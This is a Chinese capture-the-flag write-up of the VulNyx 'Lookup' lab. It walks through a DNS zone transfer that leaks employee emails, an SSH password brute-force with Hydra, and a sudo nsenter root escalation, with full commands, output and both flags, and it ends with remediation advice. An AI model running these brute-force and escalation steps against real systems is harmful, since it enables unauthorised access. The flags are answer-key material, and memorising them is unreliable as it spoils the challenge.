跳到主要内容

VulNyx Lookup 通关记录|DNS TXT 用户泄露、SSH 弱口令与 sudo nsenter 提权

靶机链接:Lookup


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Lookup192.168.1.249Debian 10 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp HTTP,53/udp DNS 可查询锁定攻击面
DNS 信息泄露PTR 指向 ns1.silvertech.nyx发现内部域名
AXFR 区域传输TXT 记录泄露 ceo/finance/hr/it/support 邮箱获取邮箱与用户名
SSH 凭据验证m.bailey:b.clark获得低权限 shell
User Flag/home/m.bailey/user.txt第一个 flag
sudo 提权(root) NOPASSWD: /usr/bin/nsenter可免密以 root 执行 nsenter
Root Shellsudo nsenter --target 1 ...获得 root 权限
Root Flag/root/root.txt第二个 flag

0x02 侦察与信息收集 (Reconnaissance)

1. TCP 全端口扫描

先做 TCP 全端口扫描,确认开放端口:

rustscan -a 192.168.1.249 --ulimit 5000 -- -sV -sC

扫描结果:

端口服务状态
22/tcpSSHopen
53/tcpDOMAINopen
80/tcpHTTPopen

0x03 HTTP 枚举

1. 首页分析

访问 HTTP 首页:

curl -i http://192.168.1.249/

输出(关键片段):

HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Length: 1519
Content-Type: text/html

页面标题为 Under Construction,正文是静态施工页。


0x04 DNS 枚举与信息泄露

1. PTR 查询发现内部域

分别判断 TCP 与 UDP

虽然 53/tcp 关闭,但 53/udp 可以正常查询。先做反向解析:

dig +notcp @192.168.1.249 -x 192.168.1.249 +noall +answer

输出:

249.1.168.192.in-addr.arpa. 86400 IN PTR ns1.silvertech.nyx.

PTR 记录泄露了内部 DNS 域 silvertech.nyx,并指向 ns1.silvertech.nyx

2. SOA 与 NS 记录确认

dig +notcp @192.168.1.249 silvertech.nyx SOA +noall +answer
dig +notcp @192.168.1.249 silvertech.nyx NS +noall +answer

输出(关键字段):

silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx.
silvertech.nyx. 86400 IN NS ns1.silvertech.nyx.

DNS 管理邮箱样式为 admin.silvertech.nyx,说明这是目标靶机设计中的核心域名。

3. AXFR 区域传输(Zone Transfer)

尝试对 silvertech.nyx 执行完整的 DNS 区域传输:

dig @192.168.1.249 silvertech.nyx AXFR

输出:

; <<>> DiG 9.20.24-1+b1-Debian <<>> @192.168.1.249 silvertech.nyx AXFR
; (1 server found)
;; global options: +cmd
silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
silvertech.nyx. 86400 IN NS ns1.silvertech.nyx.
ceo.silvertech.nyx. 86400 IN TXT "a.miller@silvertech.nyx"
finance.silvertech.nyx. 86400 IN TXT "b.clark@silvertech.nyx"
hr.silvertech.nyx. 86400 IN TXT "m.bailey@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "p.logan@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "j.carter@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "r.turner@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "s.hughes@silvertech.nyx"
ns1.silvertech.nyx. 86400 IN A 192.168.1.249
support.silvertech.nyx. 86400 IN TXT "p.hollen@silvertech.nyx"
www.silvertech.nyx. 86400 IN A 192.168.1.249
silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.1.249#53(192.168.1.249) (TCP)
;; WHEN: Tue Jul 21 22:28:52 CST 2026
;; XFR size: 13 records (messages 1, bytes 515)

DNS 服务器未禁止区域传输(AXFR),一次请求即获取了域内全部 13 条记录,完整暴露了所有子域名及 TXT 记录中存储的员工邮箱。

关键发现:

  • DNS TXT 记录直接泄露了 8 个内部邮箱。
  • 邮箱本地部分可作为 SSH 用户名候选。
  • 用户名与密码可能存在交叉复用,例如某用户密码使用另一个邮箱本地部分。

整理得到候选用户名:

a.miller
b.clark
m.bailey
j.carter
r.turner
s.hughes
p.logan
p.hollen

0x05 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)

1. SSH 小字典凭据验证

基于 DNS 泄露出的邮箱,构造一个很小的用户与密码字典。密码字典包含:

  • 邮箱本地部分,例如 a.miller
  • 去掉点号后的形式,例如 amiller
  • 姓氏,例如 miller
  • 靶机名与域名关键词,例如 lookupsilvertech
  • 少量常见弱口令

使用 Hydra 对 SSH 做验证:

hydra -L fresh_users.txt -P fresh_passwords.txt -t 4 -f -I ssh://192.168.1.249

命中结果:

[22][ssh] host: 192.168.1.249 login: m.bailey password: b.clark

成功获得 SSH 凭据:

m.bailey:b.clark

分析: 这里不是传统大字典爆破,而是利用 DNS TXT 泄露的内部人员邮箱做低成本凭据验证。m.bailey 的密码复用了另一个泄露账号 b.clark,属于典型的弱口令/凭据复用设计。

2. SSH 初始访问

sshpass -p 'b.clark' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null m.bailey@192.168.1.249 'id; uname -a'

输出:

uid=1000(m.bailey) gid=1000(m.bailey) groups=1000(m.bailey)
Linux lookup 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux

已成功获得 m.bailey 低权限 shell。


0x06 本地信息收集与 User Flag

1. 系统信息确认

cat /etc/os-release
cat /etc/passwd | grep -E '(/bin/bash|/bin/sh)'

输出:

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian

root:x:0:0:root:/root:/bin/bash
m.bailey:x:1000:1000::/home/m.bailey:/bin/bash

目标主机名为 lookup,系统为 Debian 10 (buster),可登录用户只有 rootm.bailey

2. User Flag

ls -la /home/m.bailey
cat /home/m.bailey/user.txt

输出:

-r-------- 1 m.bailey m.bailey 33 Jul 18 18:25 user.txt
523b7bc4fec097ffa533f66a1f830936

得到 User Flag:

523b7bc4fec097ffa533f66a1f830936

0x07 权限提升 (Privilege Escalation)

1. sudo 权限枚举

登录后优先检查 sudo 权限:

sudo -l

输出:

Matching Defaults entries for m.bailey on lookup:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User m.bailey may run the following commands on lookup:
(root) NOPASSWD: /usr/bin/nsenter

关键发现: m.bailey 可以免密以 root 身份执行 /usr/bin/nsenter

nsenter 用于进入其他进程的 Linux namespace。若允许普通用户以 root 身份对 PID 1 执行 nsenter,通常可以直接进入目标 namespace 并启动 root shell。

参考 gtfobins

2. 使用 nsenter 获取 root shell

执行:

sudo /usr/bin/nsenter /bin/sh

为了非交互式验证,可以直接执行命令:

sudo /usr/bin/nsenter /bin/sh -c 'hostname; id; cat /root/root.txt'

输出:

lookup
uid=0(root) gid=0(root) groups=0(root)
d38cf53dd5e7f99c695bd4b0fdbe3985

成功获得 root 权限。


0x08 最终成果 (Final Flags)

User Flag

  • 路径: /home/m.bailey/user.txt
  • 内容: 523b7bc4fec097ffa533f66a1f830936

Root Flag

  • 路径: /root/root.txt
  • 内容: d38cf53dd5e7f99c695bd4b0fdbe3985

0x09 总结

Lookup 的攻击面看起来很窄:TCP 只开放 SSH 和 HTTP,HTTP 又只是静态施工页。真正的突破点在 UDP DNS:

  1. PTR 记录泄露内部域 silvertech.nyx
  2. 多个业务子域的 TXT 记录泄露内部邮箱
  3. 邮箱本地部分可转化为 SSH 用户与密码候选
  4. m.bailey:b.clark 命中 SSH 登录
  5. sudo -l 发现 NOPASSWD: /usr/bin/nsenter
  6. nsenter sudo 直接获得 root

修复建议

风险点建议
DNS TXT 泄露内部邮箱不在公开或低权限可查询 DNS 记录中存放人员邮箱、账号、组织结构等敏感信息
DNS 区域信息暴露限制递归查询与区域枚举,按来源 IP 控制 DNS 查询范围
SSH 弱口令/凭据复用启用强密码策略,禁止账号间密码复用,优先使用 SSH Key 与 MFA
缺少 SSH 登录防护部署 fail2ban、限制登录速率,并监控异常登录失败
sudo nsenter 配置不当不应允许普通用户免密执行 nsenter;如确需授权,应限定参数并进行命令封装